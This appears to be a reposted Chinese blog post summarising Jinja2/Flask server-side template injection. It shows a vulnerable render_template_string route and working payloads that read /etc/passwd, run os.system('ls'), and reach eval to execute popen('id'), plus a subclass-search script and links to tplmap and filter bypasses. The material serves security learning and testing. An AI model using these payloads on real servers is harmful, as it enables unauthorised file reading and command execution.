zoukankan      html  css  js  c++  java
  • SSTI模板注入/python代码注入一点总结

    原理

    @app.route('/test/')
    def test():
        code = request.args.get('id')
        html = '''
            <h3>%s</h3>
        '''%(code)
        return render_template_string(html)
    
    1. code变量可控,可以进行xss利用。注意:若模板可控,会对模板实体化编码无法xss。
    2. SSTI文件读取/命令执行;在Jinja2模板引擎中,{{}}是变量包裹标识符。{{2*4}}并不仅仅可以传递变量,还可以执行一些简单的表达式。''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    3. 命令执行''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    4. {{config}} {{3*7}}

    不正确的使用flask中的render_template_string方法会引发SSTI。
    参考链接1
    参考链接2

    相关基础概念

    一些魔术方法

    __class__  返回类型所属的对象
    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__   返回该对象所继承的基类
    // __base__和__mro__都是用来寻找基类的
    
    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用
    

    寻找payload

    要想执行命令便需要有可以执行命令的模块,一般来说很容易想到的模块便是os.

    #寻找包含os模块的脚本
    #!/usr/bin/env python
    # encoding: utf-8
    for item in ''.__class__.__mro__[2].__subclasses__():
        try:
             if 'os' in item.__init__.__globals__:
                 print num,item
             num+=1
        except:
            print '-'
            num+=1
    

    找eval

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    

    模板

    flask是使用Jinja2来作为渲染引擎的。看例子

    在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。

    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
        return render_template('index.html')
    	
    	
    /templates/index.html
    <h1>This is index page</h1>
    

    挖掘技巧

    白盒

    Render_template_string()
    templates:文件夹用来存放模板文件

    黑盒

    Jinja2 是一个在 Web 框架 中经常使用的模板引擎,像 Flask、Bottle、 Morepath 以及随着 1.8 版的更新,现在的 Django 也可选用该引擎了。 Jinja2 也被 配置管理 工具 Ansible 、静态网站生成器 Pelican 等其它许多类似工具用作模板语言。

    搜索漏洞时,尝试并识别底层的技术(框架、前端渲染引擎、以及其他)是个不错的理念,以便发现可能的攻击向量。模板引擎的不同变种,使我们难于准确地说,什么适用于所有环境,但是,知道用了什么技术会有帮助。要留意一些机会,其中你可控制的文本在页面上,或者一些其他地方(例如邮件)渲染给你。

    常见Payload

    自动化工具

    https://github.com/epinna/tplmap

    bypass tricks

    https://0day.work/jinja2-template-injection-filter-bypasses/

    记得旧文章 便是新举子
  • 相关阅读:
    准备 FRM 考试——方法、工具与教训
    930. 和相同的二元子数组 前缀和
    1906. 查询差绝对值的最小值 前缀和
    剑指 Offer 37. 序列化二叉树 二叉树 字符串
    815. 公交路线 BFS
    518. 零钱兑换 II dp 完全背包
    1049. 最后一块石头的重量 II dp
    5779. 装包裹的最小浪费空间 二分
    5778. 使二进制字符串字符交替的最少反转次数 字符串 滑动窗口
    474. 一和零 dp
  • 原文地址:https://www.cnblogs.com/NBeveryday/p/SSTI.html
Copyright © 2011-2022 走看看